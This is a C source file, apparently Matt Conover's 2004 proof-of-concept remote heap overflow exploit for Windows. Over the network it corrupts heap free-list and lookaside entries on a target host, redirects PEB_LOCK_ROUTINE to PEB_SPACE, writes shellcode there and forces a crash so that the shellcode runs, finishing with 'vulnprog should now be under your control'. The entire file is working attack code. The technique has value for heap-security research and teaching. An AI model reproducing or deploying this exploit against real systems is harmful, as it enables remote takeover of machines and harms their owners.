// Proof-of-concept code heap exploit code
// Written by Matt Conover in December 2004
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <process.h>
#include <windows.h>
#include "heap.h"
#include "shellcode.h"
#include "util.h"

void Usage()
{
	printf("Usage: testbof victim_ip victim_port\n");
	exit(-1);
}

int main(int argc, char **argv)
{
	char attack_buffer[0x1000], *Shellcode;
	DWORD ShellcodeLength, numbytes;
	HEAP_FREE_ENTRY *chunk;
	SOCKADDR_IN dst_addr;
	struct hostent *he;
	SOCK socks[MAX_SOCKETS];
	char *dst_host;
	DWORD i, j, dst_port;
	WSADATA wsadata;

	if (argc != 3) Usage();
	dst_host = argv[1];
	dst_port = atoi(argv[2]);
	if (!dst_port) Usage();

	WSAStartup(MAKEWORD(1, 1,), &wsadata);
	sock_new_sockets(socks, MAX_SOCKETS);

	//////////////////////////////////////////////////////////////////////
	// Build payload
	//////////////////////////////////////////////////////////////////////

#ifdef USE_C_SHELLCODE
	Shellcode = GetFunctionAddress((BYTE *)c_shellcode_stub);
#else
	Shellcode = GetFunctionAddress((BYTE *)shellcode_stub);
#endif
	ShellcodeLength = GetStubLength(Shellcode);

	//EncodedShellcodeLength = EncodeShellcode(EncodedShellcode, BUFSIZE, Shellcode, ShellcodeLength, Strings);
	//if (!EncodedShellcodeLength) { printf("EncodeShellcode failed\n"); return -1; }

	if (ShellcodeLength > ALLOC_SIZE2)
	{
		printf("ERROR: ALLOC_SIZE2 is too small (or shellcode is too big)\n");
		return -1;
	}
	else if (ALLOC_SIZE + sizeof(HEAP_FREE_ENTRY) > sizeof(attack_buffer))
	{
		printf("ERROR: attack_buffer is too small (or ALLOC_SIZE is too big)\n", ShellcodeLength, ALLOC_SIZE);
		return -1;
	}
	else if (ALLOC_SIZE2 + sizeof(HEAP_FREE_ENTRY) > sizeof(attack_buffer))
	{
		printf("ERROR: attack_buffer is too small (or ALLOC_SIZE2 is too big)\n", ShellcodeLength, ALLOC_SIZE);
		return -1;
	}

	//////////////////////////////////////////////////////////////////////
	// Connect to server
	//////////////////////////////////////////////////////////////////////

	memset(&dst_addr, 0, sizeof(dst_addr));
	printf("Resolving %s... ", dst_host); fflush(stdout);
	he = gethostbyname(dst_host);
	if (he != NULL) dst_addr.sin_addr = *((struct in_addr *)he->h_addr);
	else dst_addr.sin_addr.s_addr = inet_addr(dst_host);
	dst_addr.sin_family = AF_INET;
	dst_addr.sin_port = htons((unsigned short)dst_port);
	printf("done\n");

	/////////////////////////////////////////////////////////////////////////////////
	// OVERWRITE 1 (overwrite list head to point to PEB_LOCK_ROUTINE)
	// 
	// NOTE: this step must be done before copy the shellcode into PEB_SPACE, because
	// otherwise the first 8 bytes of the shellcode at PEB_SPACE will be overwritten
	/////////////////////////////////////////////////////////////////////////////////

	printf("\n=== OVERWRITE 1\n\n");
	//Sleep(1000);
	printf("Allocating %d bytes (OVERWRITE 1)\n", ALLOC_SIZE);
	i = AllocChunk(dst_addr, socks, ALLOC_SIZE);
	if (i == INVALID_SOCKET) { printf("Failed to allocate %d bytes at OVERWRITE 1\n", ALLOC_SIZE); return -1; }
	else memset(attack_buffer, 0x01, ALLOC_SIZE);

	// NOTE: this has to be done AFTER we get pSource (the one we'll overflow)
	// or else pSource will take a free chunk of the lookaside list, and the
	// lookaside list has to be full for this to work
	printf("Filling lookaside before OVERWRITE 1\n");
	if (!FillLookasideList(dst_addr, socks, ALLOC_SIZE)) { printf("FillLookaside at OVERWRITE 1 failed\n"); return -1; }

	chunk = (HEAP_FREE_ENTRY *)(attack_buffer + ALLOC_SIZE);
	chunk->PreviousSize = 1;
	chunk->Size = 1; // as small as possible
	chunk->Flags = HEAP_ENTRY_SETTABLE_FLAG1; // a harmless flag that is not null
	chunk->SegmentIndex = 63; // between 1-63
	chunk->Index = 8; // shouldn't matter
	chunk->Mask = 1; // shouldn't matter
#ifdef USE_LOOKASIDE
	chunk->FreeList.Blink = (LIST_ENTRY *)(PEB_LOCK_ROUTINE);
#else // USE_FREELIST
	chunk->FreeList.Blink = (LIST_ENTRY *)(PEB_LOCK_ROUTINE);
#endif // USE_LOOKASIDE
	chunk->FreeList.Flink = (LIST_ENTRY *)PEB_SPACE;

	printf("Overwriting PEB_LOCK_ROUTINE to point to PEB_SPACE\n");
	j = ALLOC_SIZE+sizeof(HEAP_FREE_ENTRY);
	DumpBuffer("peb_lock_routine_overwrite", attack_buffer, j);
	numbytes = sock_send(&socks[i], attack_buffer, j);
	if (numbytes != j) { printf("sock_send at OVERWRITE 1 failed (sent %d of %d bytes)\n", numbytes, j); return -1; }
	if (!FreeChunk(&socks[i])) { printf("FreeChunk at OVERWRITE 1 failed\n"); return -1; }

#ifdef USE_FREELIST
	// We do this to ensure free list is used, because if there are any free entries
	// in the lookaside, they will take precedence over the free list
	printf("Emptying lookaside after OVERWRITE 1\n");
	if (!EmptyLookasideList(dst_addr, socks, ALLOC_SIZE)) { printf("EmptyLoookasideList() at OVERWRITE 1 failed\n"); return -1; }
#endif

	/////////////////////////////////////////////////////////////////////////////////
	// OVERWRITE 2 (overwrite list head to point to PEB_SPACE)
	/////////////////////////////////////////////////////////////////////////////////

	printf("\n=== OVERWRITE 2\n\n");
	//Sleep(1000);
	printf("Allocating %d bytes (OVERWRITE 2)\n", ALLOC_SIZE2);
	i = AllocChunk(dst_addr, socks, ALLOC_SIZE2);
	if (i == INVALID_SOCKET) { printf("Failed to allocate %d bytes at OVERWRITE 2\n", ALLOC_SIZE); return -1; }
	else memset(attack_buffer, 0x01, ALLOC_SIZE2);

	// NOTE: this has to be done AFTER we get the new chunk (the one we'll overflow)
	// or else the new chunk will take a free chunk of the lookaside list, and the
	// lookaside list has to be full for this to work
	if (!FillLookasideList(dst_addr, socks, ALLOC_SIZE2)) { printf("FillLookaside at OVERWRITE 2 failed\n"); return -1; }

	chunk = (HEAP_FREE_ENTRY *)(attack_buffer+ALLOC_SIZE2);
	chunk->PreviousSize = 1;
	chunk->Size = 1; // as small as possible
	chunk->Flags = HEAP_ENTRY_SETTABLE_FLAG1; // a harmless flag that is not null
	chunk->SegmentIndex = 63; // between 1-63 is ideal
	chunk->Index = 8; // shouldn't matter
	chunk->Mask = 1; // shouldn't matter
#ifdef USE_LOOKASIDE
	chunk->FreeList.Blink = (LIST_ENTRY *)(FIRST_LOOKASIDE_LIST + LOOKASIDE_SIZE*CHUNK_SIZE2);
#else // !USE_LOOKASIDE
	chunk->FreeList.Blink = (LIST_ENTRY *)(FIRST_FREE_LIST + FREELIST_SIZE*CHUNK_SIZE2);
#endif // USE_LOOKASIDE
	chunk->FreeList.Flink = (LIST_ENTRY *)PEB_SPACE;

	printf("Overwriting ListHead (0x%08lx) to point to PEB_SPACE (0x%08lx)\n", chunk->FreeList.Blink, chunk->FreeList.Flink);
	j = ALLOC_SIZE2+sizeof(HEAP_FREE_ENTRY);
	DumpBuffer("list_head_overwrite", attack_buffer, j);
	numbytes = sock_send(&socks[i], attack_buffer, j);
	if (numbytes != j) { printf("sock_send at OVERWRITE 2 failed (sent %d bytes of %d)\n", numbytes, j); return -1; }
	if (!FreeChunk(&socks[i])) { printf("FreeChunk at OVERWRITE 2 failed\n"); return -1; }

#ifdef USE_FREELIST
	// Make sure the FreeList is used
	EmptyLookasideList(dst_addr, socks, ALLOC_SIZE2);
#endif

	/////////////////////////////////////////////////////////////////////////////////
	// OVERWRITE 3 (overwrite PEB_SPACE with shellcode)
	// NOTE 1: This will allocate from the list head we overwrote in OVERWRITE 3
	// NOTE 2: We don't free this because it will corrupt the shellcode
	/////////////////////////////////////////////////////////////////////////////////

	printf("\n=== OVERWRITE 3\n\n");
	Sleep(1000);
	printf("Allocating %d bytes (OVERWRITE 3)\n", ALLOC_SIZE2);
	i = AllocChunk(dst_addr, socks, ALLOC_SIZE2);
	if (i == INVALID_SOCKET) { printf("Failed to allocate %d bytes at OVERWRITE 3\n", ALLOC_SIZE); return -1; }
	else memset(attack_buffer, 0x01, ALLOC_SIZE2);

	printf("Sending shellcode (goes into PEB_SPACE)\n");
	DumpBuffer("peb_space_overwrite", Shellcode, ShellcodeLength);
	numbytes = sock_send(&socks[i], Shellcode, ShellcodeLength);
	if (numbytes != ShellcodeLength) { printf("sock_send at OVERWRITE 3 failed (sent %d of %d bytes)\n", numbytes, ShellcodeLength); return -1; }
	// DO NOT FREE THIS -- it will corrupt the shellcode

	/////////////////////////////////////////////////////////////////////////////////
	// Now cause a crash to force shellcode execution immediate
	/////////////////////////////////////////////////////////////////////////////////

	// Make sure we don't corrupt our previous overwrites
	printf("\n=== CRASH\n\n");
	i = AllocChunk(dst_addr, socks, CRASH_ALLOC_SIZE);
	if (!FillLookasideList(dst_addr, socks, CRASH_ALLOC_SIZE)) { printf("FillLookaside to cause crash failed\n"); return -1; }

	memset(attack_buffer, 0x01, CRASH_ALLOC_SIZE);
	chunk = (HEAP_FREE_ENTRY *)(attack_buffer+CRASH_ALLOC_SIZE);
	chunk->PreviousSize = 1;
	chunk->Size = 1; // as small as possible
	chunk->Flags = HEAP_ENTRY_SETTABLE_FLAG1; // a harmless flag that is not null
	chunk->SegmentIndex = 1; // between 1-63 is ideal
	chunk->Index = 8; // shouldn't matter
	chunk->Mask = 1; // shouldn't matter
	chunk->FreeList.Blink = (LIST_ENTRY *)0xABABABAB;
	chunk->FreeList.Flink = (LIST_ENTRY *)0xCDCDCDCD;

	j = CRASH_ALLOC_SIZE+sizeof(HEAP_FREE_ENTRY);
	DumpBuffer("crash", attack_buffer, j);
	numbytes = sock_send(&socks[i], attack_buffer, j);
	if (numbytes != j) { printf("sock_send of crash failed (sent %d of %d bytes)\n", numbytes, j); return -1; }
	if (!FreeChunk(&socks[i])) { printf("FreeChunk too cause crash failed\n"); return -1; }

	printf("\nvulnprog should now be under your control\n");
	sock_close_sockets(socks, MAX_SOCKETS);
	WSACleanup();
	return 0;
}